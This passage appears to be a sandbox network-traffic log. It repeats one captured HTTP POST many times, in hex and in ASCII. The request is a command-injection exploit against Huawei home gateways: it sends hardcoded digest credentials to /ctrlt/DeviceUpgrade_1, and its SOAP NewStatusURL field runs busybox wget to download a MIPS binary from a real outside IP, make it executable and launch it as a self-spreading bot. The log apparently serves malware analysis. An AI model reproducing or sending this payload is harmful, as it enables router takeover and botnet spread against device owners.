20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 